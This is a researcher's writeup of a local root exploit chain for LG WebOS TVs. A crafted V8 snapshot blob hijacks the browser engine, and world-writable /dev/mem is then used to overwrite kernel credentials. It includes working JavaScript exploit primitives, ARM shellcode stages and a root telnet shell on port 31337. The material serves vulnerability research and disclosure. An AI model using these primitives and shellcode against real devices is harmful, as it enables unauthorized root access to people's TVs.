V8 Heap pwn and /dev/memes - WebOS Root LPE
By David Buchanan, 28th of December 2021
This is a writeup for my latest WebOS local root exploit chain, which I'm calling WAMpage. I'm very proud of it, and very impatient, which is why I'm dropping it as an 0day so I can show it off ASAP.
A screenshot of the exploit in action
This exploit is mainly of interest to other researchers - if you just want to root your TV, you probably want RootMyTV, which offers a reliable 1-click persistent root. Note that this exploit is non-persistent, and currently only works with 32-bit devices on WebOS 4.x, but with some more work it should be possible to achieve broader compatibility.
I'm publishing this as a standalone exploit because I don't think it would work very well as part of RootMyTV. I feel reasonably ethical in dropping it as an 0day because it requires sideloading an app as a prerequisite, so the risk of someone being unwittingly compromised is low. I am not participating in LG's bug bounty program because their bounties are too low. If you have an LG TV and you're paranoid about security, don't connect it to the internet; LG does not take security seriously enough, and WebOS is full of holes.
Having never written a V8 exploit before, I always regarded JS engine exploits as an impossible black magic. However, I eventually mastered the dark arts, thanks to a few things:
- The exploit setup is about as simple as it could possibly be - trivial array OOB read/writes (more on this later).
- The V8 build on my TV is from ~2017, meaning it lacks newer mitigations.
- The Chrome sandbox is disabled (lol), meaning a sandbox escape is not necessary. This is part of a larger pattern of LG disabling or bypassing security features wherever possible, if they get in the way of development.
- I recently played around with CPython heap exploitation techniques, which has a surprising amount in common with V8 exploitation. This was a good starting point for me because I was already familiar with Python and CPython internals.
- I figured out how to build V8 from LG's GPL sources, so I could debug my exploit locally in
d8
before trying it in the TV's browser. - I already had root on my TV via RootMyTV, so I could debug my exploit while it ran on the TV itself.
One speed-bump was that my TV runs a 32-bit V8 build. Almost all V8 exploit writeups I could find were for 64-bit versions, which have subtly different heap layouts. Fortunately, I was able to adapt those techniques without too much hassle.
Getting a Foothold
This exploit starts with enabling Developer Mode, which is a feature officially supported by LG. Developer Mode gives you access to a chroot-jailed SSH shell, and the ability to sideload apps. Apps can either contain native code, or be html/js based. Native apps run inside a Linux jail as an unprivileged user (just like the developer mode SSH server), whereas "web" apps rely on the browser engine itself to provide the sandboxing i.e. you can only use standard web APIs, and Luna Service APIs.
WebOS's browser engine can be found at /usr/bin/WebAppMgr
, which is based on Chromium (which uses the V8 JavaScript engine). I'm going to call it WAM for short.
WAM itself is neither sandboxed nor jailed, which makes it an attractive target for exploitation. In theory, you could use an n-day browser exploit against it, but I didn't have any luck with that (although I might revisit it at some point).
Eventually, I found a way to compromise WAM without any V8 0days or n-days. Which leads us on to...
V8 Snapshot Blobs
V8 has a feature called snapshots, which I'll let V8 developer Yang Guo explain:
The JavaScript specification includes a lot of built-in functionality, from math functions to a full-featured regular expression engine. Every newly-created V8 context has these functions available from the start. For this to work, the global object (for example, the window object in a browser) and all the built-in functionality must be set up and initialized into V8ās heap at the time the context is created. It takes quite some time to do this from scratch.
Fortunately, V8 uses a shortcut to speed things up: just like thawing a frozen pizza for a quick dinner, we deserialize a previously-prepared snapshot directly into the heap to get an initialized context. On a regular desktop computer, this can bring the time to create a context from 40 ms down to less than 2 ms. On an average mobile phone, this could mean a difference between 270 ms and 10 ms.
Applications other than Chrome that embed V8 may require more than vanilla Javascript. Many load additional library scripts at startup, before the āactualā application runs. For example, a simple TypeScript VM based on V8 would have to load the TypeScript compiler on startup in order to translate TypeScript source code into JavaScript on-the-fly.
Since almost every app in WebOS is made with JavaScript, and smart TVs are more like the "average mobile phone" scenario, LG makes extensive use of this feature. For example, let's look inside the Settings app:
/usr/palm/applications/com.palm.app.settings # ls -al total 9043 drwxr-xr-x 5 root root 1830 Nov 13 2020 . drwxr-xr-x 83 root root 3153 Nov 13 2020 .. -rw-r--r-- 1 root root 563 Nov 13 2020 appinfo.json drwxr-xr-x 4 root root 54 Nov 13 2020 assets -rw-r--r-- 1 root root 5526 Nov 13 2020 icon.png -rw-r--r-- 1 root root 15382 Nov 13 2020 index.html -rw-r--r-- 1 root root 193613 Nov 13 2020 main.css -rw-r--r-- 1 root root 2112580 Nov 13 2020 main.js drwxr-xr-x 3 root root 29 Nov 13 2020 node_modules drwxr-xr-x 70 root root 752 Nov 13 2020 resources -rw-r--r-- 1 root root 5961828 Nov 13 2020 snapshot_blob.bin /usr/palm/applications/com.palm.app.settings # cat appinfo.json { "id": "com.palm.app.settings", "version": "4.0.1", "vendor": "Palm", "type": "web", "main": "index.html", "title": "Settings", "sysAssetsBasePath": "assets", "icon": "icon.png", "uiRevision": 2, "transparent": true, "defaultWindowType": "overlay", "visible": false, "lockable": false, "noSplashOnLaunch": true, "disableBackHistoryAPI": true, "supportQuickStart": false, "trustLevel": "trusted", "accessibility": { "supportsAudioGuidance": true }, "voiceControl": "manual", "usePrerendering": true, "v8SnapshotFile": "snapshot_blob.bin" }
As you can see, there's a snapshot_blob.bin
file, which is referenced in the app's appinfo.json
manifest under the key v8SnapshotFile
. As far as I can tell, LG doesn't document this v8SnapshotFile
key anywhere publicly, but there's nothing stopping us from using it in our own apps.
So, we can launch our own apps with a custom V8 heap setup. When I first discovered this, in March 2021, I noted:
Another theoretical LPE vector: webapps can specify a "v8SnapshotFile", which is loaded by WebAppMgr
I suspect these snapshot files are not expected to come from untrusted sources
and perhaps a crafted snapshot file can takeover WebAppMgr
This sounded painful to exploit, so I never bothered trying. It remained theoretical until December 2021, when I tried it out on a whim. To check the viability, I:
- Compiled a fresh build of V8 on my desktop, including the
mksnapshot
utility. - Created a snapshot containing an array of length
0x1337
. - Opened the blob in my hexeditor, searched for instances of
0x1337
, and increased the value. - Wrote a python script to fix the blob's checksum.
- Ran
d8
with my patched startup blob:
V8 version 9.9.0 (candidate) d8> mem[0x1337] 0 d8> mem[0x100000] Received signal 11 SEGV_MAPERR 559a400aeca0 ==== C stack trace =============================== [0x559a3e489bc7] [0x7f70745123c0] [0x2e4407ecfb4d] [end of stack trace] Segmentation fault (core dumped)
BOOM! And there we have it - proof that a corrupted startup blob can corrupt V8's heap. You might notice that this test was done with the latest V8 version. Despite this, there is no V8 0day here, it's just how it's intended to work (as far as I can tell). The bug is that LG allows an unprivileged user to supply custom snapshots to a (relatively) privileged instance of V8.
To set up for the actual exploit, this is the JS that I fed into mksnapshot
:
1 2 3 4 5 6 7 8 9 10 11 | var obj = {"A": 1}; var oob1 = [ new Array(0x137).fill(0), [1.1, 2.2, 3.3, 4.4] // FAST_DOUBLE_ELEMENTS ]; var oob2 = [ new Array(0x139).fill(0), [obj, obj, obj, obj] // FAST_ELEMENTS ]; |
There are no vulnerabilities here, yet.
I used a python script to scan the blob for the array lengths (0x137
and 0x139
), and then rewrite them to be one element longer. I picked 0x137
and 0x139
because they were values that didn't show up in the blob elsewhere, so I could search for them easily (Note: this version of V8 didn't seem to have a checksum in its snapshot blobs). I never bothered to fully understand the blob file format, but evidently, editing these lengths directly does not resize the underlying backing buffer. This effectively means we can read out of bounds of those arrays, which we can use to construct a full exploit.
This setup is almost identical to that of the oob-v8
CTF challenge, from StarCTF 2019, so we can use the same exploit strategies.
V8 Exploit Development
There were two writeups that I found particularly useful:
- https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/, for overall exploit strategy.
- https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/, for getting RWX memory from a JITed function.
My exploit is largely derived from these, with changes to support the 32-bit V8 build that we're dealing with here.
If you want to fully understand my V8 exploit, I suggest you read both of those, and then my exploit source code, which I commented liberally. But before you do that, here's a summary:
- Statically corrupt
snapshot_blob.bin
to create overflowing arrays. - Use OOB writes to swap another array's Map between
FAST_ELEMENTS
andFAST_DOUBLE_ELEMENTS
, causing type confusion, allowing us to constructaddrof()
andfakeobj()
primitives. - Craft a fake JSArray on the heap with map
FAST_DOUBLE_ELEMENTS
, and instantiate it usingfakeobj()
. - Control the fake JSArray's backing buffer pointer, to obtain arbitrary read/write primitives.
- Instantiate a JS function, and call it a bunch of times to get it JITed into RWX memory.
- Use
addrof()
and arbitrary reads to locate the function's native-code implementation. - Use arbitrary writes to overwrite the function code with our shellcode.
- Call the shellcode!
The exploit is actually fairly concise, so I'll show off the best bits.
The addrof()
and fakeobj()
primitives are set up like so:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | // give friendlier names to our variables from the snapshot blob var overflow1 = oob1[0]; var arr1 = oob1[1]; var overflow2 = oob2[0]; var arr2 = oob2[1]; // use oob reads to get pointers to <Map(FAST_DOUBLE_ELEMENTS)> and <Map(FAST_ELEMENTS)> var fast_double_elements_map = overflow1[0x137]; var fast_elements_map = overflow2[0x139]; function addrof(obj) { // we write the data as an Element (i.e. a pointer) overflow1[0x137] = fast_elements_map; arr1[0] = obj; // and then cause type confusion to read it as a double, // which lets us retreive the address overflow1[0x137] = fast_double_elements_map; var addr = ftoi(arr1[0])[0]; return addr; } function fakeobj(addr) { addr |= 1; // set the low bit to mark it as a heap object // write as a double overflow1[0x137] = fast_double_elements_map; arr1[0] = itof(addr, addr); // read as an object overflow1[0x137] = fast_elements_map; var obj = arr1[0]; // revert to doubles because this probably makes gc happier overflow1[0x137] = fast_double_elements_map; return obj; } |
And this is all it takes to set up the arbitrary read and write primitives:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | var floatarray = [itof(addrof(fast_double_elements_map), 8), 1.2, 1.3, 1.4]; var fake = fakeobj(addrof(floatarray)+(8*4)); function arbread32(addr) { floatarray[1] = itof((addr-8)|1, 8); // fake fixedarray var result = ftoi(fake[0])[0]; floatarray[1] = itof(addrof(fast_double_elements_map), 8); // ^ put a valid pointer back to make gc happy return result; } function arbwrite32(addr, val) { floatarray[1] = itof((addr-8)|1, 8); // fake fixedarray var second = ftoi(fake[0])[1]; fake[0] = itof(val, second); floatarray[1] = itof(addrof(fast_double_elements_map), 8); // ^ put a valid pointer back to make gc happy } |
You'll have to read the full source for the rest of the details, but, Spoiler Alert: we get shellcode execution at the end.
Getting Root With /dev/memes
WAM runs as user "wam", which unfortunately is not root.
Compromising WAM gets us access to the private Luna IPC bus, which opens up a lot of new IPC-based attack surface (for example, DownloadManager). However, my goal for this exploit chain was to not use any IPC-based exploits, so I looked elsewhere.
If you spend any time exploring the WebOS filesystem, one thing you'll notice is the file permissions on /dev/mem
:
~ # stat /dev/mem File: /dev/mem Size: 0 Blocks: 0 IO Block: 4096 character special file Device: 6h/6d Inode: 2052 Links: 1 Device type: 1,1 Access: (0666/crw-rw-rw-) Uid: ( 0/ root) Gid: ( 505/compositor) Access: 1970-01-01 01:00:00.000000000 Modify: 1970-01-01 01:00:00.000000000 Change: 2019-01-01 00:00:16.000000000
/dev/mem
allows direct access to the physical address space. The keys to the castle. LG, in their infinite wisdom, decided to make it world-writeable. This was first exploited by the GetMeIn exploit in early 2019. Rather than fix the permissions, LG just adjusted the jail config, so that jailed apps couldn't access it. (Note: on some TV models, /dev/mem
does not seem to be world-writable, but is still group-writeable, from the same group that WAM runs as).
facepalm dot jpeg
WebAppMgr isn't jailed, and we just pwned it. So now we have access to /dev/mem
.
The Linux kernel keeps a struct cred
structure for each task which, among other things, records the uid of the process. If we can find the struct cred
for our own process, we can rewrite it to make ourselves root. This is exactly what the GetMeIn exploit did, through a linear search of all RAM.
/dev/mem
accesses the raw physical address space, and scanning through all of RAM requires knowing it's physical address ranges (you can guess, but if you read a bad address you can get a full system crash). GetMeIn solved this problem by reading from /proc/iomem
, which on my system looks like this:
00000000-15ffffff : System RAM 00108000-00fd5837 : Kernel code 01076000-0196576f : Kernel data 17000000-17ffffff : System RAM 18000000-180003ff : /thermal@0x18000000 18010800-18010bff : emmc 18012000-180123fe : /usb/ehci_top@0x18012000 18012400-180127fe : /usb/ohci_top@0x18012400 18050000-18058ffe : /usb/xhci_top@0x18050000 18100000-18103fff : 18100000.gpu 18200000-1b1fffff : System RAM 1c200000-5fffffff : System RAM b8000100-b8000220 : CRT_RESET b8000100-b8000220 : CRT_RESET b8000100-b8000220 : CRT_RESET b8000100-b8000220 : CRT_RESET b8000100-b8000220 : CRT_RESET b8060010-b8060058 : STANDBY b8060010-b8060058 : STANDBY b8060010-b8060058 : STANDBY b8060010-b8060058 : STANDBY b8060010-b8060058 : STANDBY b8061300-b80613dc : DDC b8061a00-b8061adc : DDC b8061b00-b8061bdc : DDC b8061c00-b8061cdc : DDC b8061d00-b8061ddc : DDC
The "System RAM" ranges are what we want. However, in more modern kernel versions, reading /proc/iomem
requires CAP_SYS_ADMIN
privileges (effectively, root), so we can't use this method. In theory, we could hardcode the address ranges in our exploit, but I don't like hardcoding things unless it's absolutely necessary.
The contents of /proc/iomem
are populated by the Linux kernel, and it does this by traversing a tree structure. We could implement this ourselves, using /dev/mem
to read structs and pointers, if we know where the first one is. Fortunately, the root of this tree, iomem_resource
, is an exported symbol, so we can query its address by reading from /proc/kallsyms
(which LG graciously allows non-root users to do). This gets us its virtual address, but we need its physical address to read it from /dev/mem
. Fortunately, the virtual kernel base address appears to always be at the same fixed offset in physical memory.
I implemented this technique of walking the iomem_resource
tree to obtain the physical memory map, and then I realised... If I'm already walking kernel structs, why not just directly iterate through the task list? So, I switched to doing that instead.
Starting off at the init_task
symbol, which points to a task_struct
, we can iterate through all tasks by walking the task_struct->tasks
linked-list, just like Volatility's linux_pslist
command does.
For each task, we need to see if it's our task, and if it is, elevate its creds to root. Ideally, I'd do this by reading its pid
field, and seeing if it matches our own. For some reason, I couldn't get that to work, so I came up with a convoluted system of patching the task's saved gid unconditionally and seeing if our own saved gid changed (by calling getresgid()
). If our saved gid changed then we know we found the right task, and we fully elevate the creds to root. If our saved gid didn't change, then we restore the original and continue our search.
Once we've elevated ourselves to root, we spawn a notification message to indicate success, and spawn a telnet server on port 31337, which gives access to a root shell.
Joining The Dots
The initial V8 exploit left us with shellcode execution, and my /dev/memes
exploit was written in python, so I need to glue them together somehow.
Just like writing good software, good exploit chains should consist of independently testable components, wherever possible (otherwise you'll have a hard time debugging it). To this end, I wrote two different shellcodes. One is called shellcode.s
, and its job is simply to mprotect()
a larger buffer to make it RWX, and then jump to it:
1 2 3 4 5 6 7 8 9 10 11 | _start: ldr r0, target mov r1, #0x4000 @ should be more than enough space mov r2, #7 @ rwx mov r7, #125 @ mprotect swi #0 ldr r0, target mov pc, r0 target: .word 0xdeadbeef @ placeholder |
This allows us to bootstrap a longer shellcode payload. The initial shellcode has to be relatively small, to make sure it can fit where we're writing it to, without clobbering any adjacent code. The second shellcode is called python_shellcode_stub.s
. This shellcode spawns a python process, and pipes up to 64kb of python source code into it:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | _start: adr r0, pipefd mov r7, #42 @ pipe swi #0 ldr r0, pipewrite adr r1, sourcecode ldr r2, sourcelen mov r7, #4 @ write swi #0 ldr r0, pipewrite mov r7, #6 swi #0 @ close ldr r0, piperead mov r1, #0 mov r7, #63 @ dup2 swi #0 adr r0, prog adr r1, argv str r0, [r1] mov r2, #0 mov r7, #11 @ execve swi #0 prog: .asciz "/usr/bin/python2" .align 4 argv: .word 0, 0 pipefd: piperead: .word 0 pipewrite: .word 0 sourcelen: .word SOURCELEN sourcecode: @ to be appended |
I also wrote a small shellcode tester program, shellcode_runner.c
, which can be used to execute the python shellcode directly, for testing purposes.
The V8 exploit is responsible for loading both pieces of shellcode into memory, and writing a pointer to the second-stage shellcode into the first-stage shellcode, so it knows where to find it. And that's all there is to it!
If you run the whole exploit from start to finish, you should see a success notification (like in the screenshot at the start of this article). And then, the moment you've been waiting for:
$ telnet 192.168.0.74 31337 Trying 192.168.0.74... Connected to 192.168.0.74. Escape character is '^]'. webOS TV 4.9.0 LGwebOSTV / # id uid=0(root) gid=0(root) groups=29(audio),44(video),505(compositor),506(pulse-access),509(se),777(crashd)
Summary
We use a corrupted V8 snapshot blob to take over WebAppMgr, giving us unjailed and unsandboxed code execution under the "wam" user. From there, we used direct access to /dev/mem
to locate and modify our own struct cred
on the kernel's heap, to elevate ourselves to root. In my testing, the exploit is 100% reliable.
Thank you LG, for making such a fun CTF!
It's possible that other products embedding Chromium/V8 have similar snapshot-related vulnerabilities, but I haven't checked. V8's documentation regarding this could perhaps make it clear that snapshots should only be loaded from trusted sources (although, snapshots are not a particularly well-documented feature in the first place...).
Source code: https://github.com/DavidBuchanan314/WAMpage